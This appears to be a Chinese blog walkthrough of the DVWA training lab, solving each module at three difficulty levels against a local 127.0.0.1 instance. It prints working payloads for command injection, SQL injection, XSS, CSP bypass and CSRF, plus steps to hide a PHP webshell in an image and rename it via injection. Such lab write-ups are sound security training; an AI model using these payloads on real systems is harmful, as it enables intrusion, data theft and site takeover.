这个靶场是几个月前开始的,然后中间可能因为有各种事情拖沓,还剩了一点,终于把它全部弄完啦,真不容易啊。

前言

我把dvwa靶场的三个等级low,medium,high每关都做出了相应的题解,应该看起来会清晰一点。

我这里引用的dvwa靶场是来自https://github.com/digininja/DVWA/archive/master.zip 记得看readme文件,配置好相关环境,然后就可以开始啦。

1、Burte Force

low

使用burp暴力破解,得到账户名密码为:admin/password

然后尝试登录,登录成功

medium

和low一样

high

和low一样

2、Command Injection

low

执行命令

1
127.0.0.1 | hostname

即可得到主机名,可命令执行得到其他敏感信息。

medium

和low一样

high

执行命令

1
127.0.0.1 || hostname

即可得到主机名,可命令执行得到其他敏感信息。

3、CSRF

low

用burp抓包分析,没有设置token,也不需要输入原来密码,通过get请求来提交修改信息的,可以直接修改密码,然后复制url,只要受害者点击该url密码就会被修改。

将密码改为222,复制url:

1
http://127.0.0.1:8099/dvwa/vulnerabilities/csrf/?password_new=222&password_conf=222&Change=Change

当点击此链接时,密码被修改:

后来有了另一种思路,一般csrf看Referer和origin字段,如果去掉这两个字段响应还一样,而且没加什么验证的手段,则可能存在csrf漏洞,此时可以在burp生成poc,验证一下:

medium

和low一样

high

和low一样

4、File Inclusion

low

里面有三个文件,点开可以看到在url中是get方式的。

当尝试输入:

file4.php

发现了一个隐藏的文件:

medium

和low一样

high

和low一样

5、File Upload

low

尝试上传php后缀文件,比如1.php文件,发现上传成功:

可以看到文件的路径暴露出来了,然后利用第4关的文件上传漏洞,可以访问到:

medium

当尝试上传php后缀时,发现上传不成功

用burp抓包分析,看到显示了Content-Type

修改Content-Type为允许的:
将内容改为image/png,发现上传成功:

使用蚁剑连接,连接成功:

1
2
url:
http://127.0.0.1:8099/dvwa/hackable/uploads/shell.php

high

制作一句话木马:

1
copy 2.jpg/b+55.php/a 66.jpg

上传66.jpg,成功,可以看到路径:

然后利用第2关的命令注入,将66.jpg改成66.php

1
|| ren ..\..\hackable\uploads\66.jpg 66.php

再利用蚁剑连接一句话木马:

1
2
url:
http://127.0.0.1:8099/dvwa/hackable/uploads/66.php

6、SQL Injection

low

本关存在字符型注入,当输入单引号时,会出现报错信息,可以利用报错注入;输入正常的用户id时会有回显,也可以利用union联合注入。

下面我采用的是报错注入:

6.1获得数据库名

1
构造payload:1'or+info()+'1

(此处就是通过构造一个在数据库中不存在的函数info()使其报错,就会出现数据库名)

可以看到数据库名为dvwa

6.2获得数据库用户名

此时,可以将info()替换成报错函数,查询出其他信息,如数据库用户名:

1
1'or+updatexml(1,concat(0x7e,user(),0x7e),1)+'1

得到数据库用户名为root@localhost

medium

中级的是一个下拉列表,则可能存在数字型的注入。
用burp抓包,构造id=2+and+1=1和id=2+and+1=2,结果不一样。
一样也采用报错注入:

6.1获得数据库用户名

1
payload:id=2+and+info()

得到数据库名为dvwa

6.2获得数据库用户名

1
payload:id=2+and+updatexml(1,concat(0x7e,concat(user()),0x7e),1) 

得到数据库用户名为root@localhost

high

输入奇数个单引号和输入偶数个单引号回显不一样,可以采用基于布尔型的盲注。

6.1获得数据库用户名

获得数据库名的第一个字母

1
2
3
构造payload:

1'and+substr(user(),1,1)='a

当字母等于’r’时,即回显正确时,会出现如下图,可依次类推其他字母。

其余不正确的字母都是没有回显:

7、SQL Injection(Blind)

low

采用盲注,发现输入奇数的单引号和偶数的单引号回显不一样,是字符型的注入:

1
2
3
构造payload:

1'and+substr(user(),1,1)='a

当字母为’r’时,回显是存在,说明数据库用户名第一个字母为’r’

当其他不正确的字母时,回显是不存在:

medium

采用盲注,发现输入id=1/1和id=1/0回显不一样,是数字型的注入:

1
2
3
payload:

1+and+ascii(substr(user(),1,1))=114

当第一个字母的ascii码值为114,即对应字母’r’时,出现存在信息,说明数据库用户名第一个字母为’r’,可依次类推其他字母。

当字母不正确时,会出现不存在的回显:

high

采用盲注,本关为基于字符型的注入

1
2
payload:
1'and+substr(user(),1,1)='a

当字母等于’r’时,即回显正确时,会出现存在,可依次类推其他字母。

其余不正确的字母都是回显不存在:

8、Weak Session IDs

low

当用户登录后,在服务器就会创建一个会话(session),叫做会话控制,接着访问页面的时候就不用登录,只需要携带session去访问。

sessionID作为特定用户访问站点所需要的唯一内容。如果能够计算或轻易猜到该sessionID,则攻击者将可以轻易获取访问权限,无需录直接进入特定用户界面,进而进行其他操作。

用burp抓包,可以看到cookie,将cookie复制放到hackbar中验证一下:

当删掉这个phpsessid中的某个值时,会退出登录,是完整的时,则在登录状态:

medium

用burp抓包,查看cookie。
是基于时间戳生成dvwaSesion的,在网上找到一个转换时间戳工具

转换之后,放到hackbar中

high

burp抓包发现,dvwaSesion值很像md5加密,使用md5解密,发现是对从零开始的整数进行加密。

构造payload使用火狐的hackbar提交即可。

9、XSS(DOM)

low

页面有一个选择框,任意选择一个时。是get型的,在url中可以看到选择的类型,

1
构造payload:<script>alert(/xss/);</script>

成功出现弹窗。

medium

这里的话要闭合select标签

1
2
3
4
5
6
7
8
9
payload:

使用img标签

</select><img src=111 onerror=alert(/xss/)>

或者使用iframe标签

</select><iframe onload=alert(1) height="0" width="0" />

high

采用了白名单,采用#可以绕过后台效验

1
2
3
payload:

#</select><img src=111 onerror=alert(/xss/)>

这里我发现在edge浏览器中可以直接弹出弹窗,而在火狐中不能,于是我在火狐中使用hackbar尝试了一下,发现可以成功:

10、XSS(Reflected)

low

1
payload:<script>alert(1)</script>

medium

1
payload:<a href=javascript:alert(1)>xss</a>

点击下面的超链接即可出现弹窗。

high

1
payload:<img src=111 onerror=alert(1)>

11、XSS(Stored)

low

这是一个留言框,在第二个内容框中输入payload:

1
<script>alert(1)</script>

存储型的payload会一直有效,当你再次输入一个正常的留言时,也会弹出弹窗。

medium

在第二个输入框多次尝试无果,换到第一个输入框,发现有长度限制,用burp抓包,在第一个变量名处输入payload:

1
<SCRIPT>alert(1)</SCRIPT>

放包,看到页面成功出现弹窗:

high

用burp抓包,在第一个输入框的变量后面尝试,payload为:

1
<img src=111 onerror=alert(1)>

放包,看到页面成功出现弹窗。

12、CSP Bypass

low

CSP,即内容安全策略。开发者在开发过程中设置了一个类似于白名单的策略,要信任某个页面,哪些外部资源可以执行,哪些不可以,这可以从根本上防御XSS。

分析页面源码,可以看到设置的白名单:

点进一个白名单的链接,构造恶意的payload,可以看到生成了一个链接

将链接复制到输入框中,可以产生弹窗

听说由于这个网站是国外的,所以访问比较慢,有可能不会出现弹窗,我就是那个有可能中的一个,没关系,原理知道是这个就行啦。

medium

这里csp限制了nonce,而nonce-source,仅允许特定的内联脚本块。如源码中:nonce-TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=’

所以这里可以设置payload:

1
<script nonce=TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=>alert(111)</script>

即可成功出现弹窗:

high

先看一下csp头部信息,只有script-src ‘self’;即只允许本界面加载JavaScript执行。
查看服务器端的源代码,因为生成的script标签中src指向source/jsonp.php?callback=solveNum,然后将它加入到dom节点中。但是我们一般无法修改服务器上的jsonp.php文件,但是可以看到源码中会接收include参数,因此可以利用include参数作为注入点。

1
2
构造payload:
include=<script src="source/jsonp.php?callback=alert(333);"></script>

成功出现弹窗:

13、JavaScript

low

这里的规则是成功提交success算成功。

在这里输入success和ChangeMe,都显示不对。通过用burp抓包,对比两个的请求包,可以发现它们的token是一样的。

所以猜测token可能是前端生成的。查看源码发现的确是在前端生成,且是将rot13加密的结果进行md5加密的结果作为token的值。

首先在控制台查看正确的token值:

然后替换掉原来success中错误的,可以看到成功完成:

medium

在这里,输入success和ChangeMe都错误,用burp抓包,分析两者的token区别。同样可以看到token值一样。

此关中生成token的方式是:“XX”+phrase变量的值+“XX”字符串反转。
可以看到ChangeMe的token为:token=XXeMegnahCXX
所以只需将success的token改为:token=XXsseccusXX

high

在这里,同样用burp分别抓包,分析两者的token值,发现一样:

查看源代码发现,这里的token加密引入了一个js文件。
先用还原工具(http://deobfuscatejavascript.com/#)将源代码还原,找到关键代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
function do_something(e) {
for (var t = "", n = e.length - 1; n >= 0; n--) t += e[n];
return t
}
function token_part_3(t, y = "ZZ") {
document.getElementById("token").value = sha256(document.getElementById("token").value + y)
}
function token_part_2(e = "YY") {
document.getElementById("token").value = sha256(e + document.getElementById("token").value)
}
function token_part_1(a, b) {
document.getElementById("token").value = do_something(document.getElementById("phrase").value)
}
document.getElementById("phrase").value = "";
setTimeout(function() {
token_part_2("XX")
}, 300);
document.getElementById("send").addEventListener("click", token_part_3);
token_part_1("ABCD", 44);

执行的先后顺序依次是token_part_1,token_part_2(因为有300毫秒的延迟,所以在token_part_1后面),token_part_3(当点击按钮时,触发该事件)。
先在输入框中输入success,
然后在控制台依次输入:

1
2
token_part_1("ABCD",44)
token_part_2("XX")

最后点击submit即可成功: